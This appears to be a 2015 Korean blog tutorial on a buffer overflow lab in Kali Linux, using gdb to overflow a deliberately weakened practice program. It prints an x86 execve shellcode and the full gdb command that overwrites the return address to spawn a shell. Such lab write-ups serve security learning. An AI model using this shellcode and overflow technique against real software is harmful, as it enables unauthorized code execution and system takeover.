2015. 4. 22. 12:54 :: 시스템 보안

gdb를 이용한 버퍼 오버플로우 실습

칼리리눅스로 간단한 소스코드를 이용한 버퍼오버플로우를 실습합니다. 

 

1. 소스코드 작성

1) 소스코드 작성

아래와 같은 간단한 소스코드를 작성합니다.

 

2) 컴파일

아래와 같은 옵션으로 컴파일을 수행합니다.

-fno-stack-protector : 스택 보호 기법 해제

-mpreferred-stack-boundary=2 : 스택 더미 없애기

-z execstack : 스택 메모리에 실행권한 부여

 

3) 스택고정

랜덤스택을 disable하기 위해 아래와 같은 명령어를 입력합니다.

 

2. 풀이방법

버퍼에 쉘코드를 넣고, RETN에 buffer의 시작주소를 입력합니다.

변경된 RETN주소는 pop 되면서 버퍼주소로 이동하게 되며,

쉘코드가 실행되면 쉘을 획득할 수 있습니다.

3. gdb 실행

 -q 옵션을 이용하여 gdb를 실행합니다.

- set disassembly-flavor intel 옵션을 이용하여 인텔 문법으로 설정하고 main을 살펴봅니다.

 

 

4. buffer 시작 주소 얻기

buffer 시작주소를 얻기 위해 main+30에 브레이크 포인트를 걸고 eax값을 얻습니다.

여기서 eax값은 strcpy함수를 call 하기 위해 넣어주는 buffer의 주소입니다.

 

1) 브레이크 포인트 걸고 실행

 

2) eax 값 알아내기

레지스터 정보를 출력하는 info register 명령어로 eax의 값을 알아냅니다.

 

5. RET를 덮어쓰기

1) 사용할 쉘코드

구글링을 이용하여 사용할 쉘코드를 얻습니다. 저는 아래와같은 코드를 사용했습니다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

2) 실행

RET 값을 덮어쓰기 위해 아래와 같은 명령어 입력해야합니다.

명령어가 길지만 뜯어보면 [ 쉘코드 + A x 236 + buffer주소 ] 입니다.

buffer 주소값은 거꾸로 적어주어야 합니다.

파이썬을 사용한 이유는 A*236개를 쉽게 입력하기 위해 사용한겁니다.

r $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*236 + "\xe8\xf2\xff\xbf"')

 

3) 결과 확인

리턴값을 조작하여 buffer에 입력된 쉘코드의 주소를 넣어주었고, 코드가 실행되면서 쉘(하단의 '#')을 얻게됩니다.

만약 segmentation fault가 나오는 경우, buffer의 주소를 잘못입력했거나, 쉘코드가 잘못 입력되었을 가능성이 있습니다.

 

얻어낸 쉘을 이용하여 명령어를 실행시킵니다.

 

 

posted by Red_Message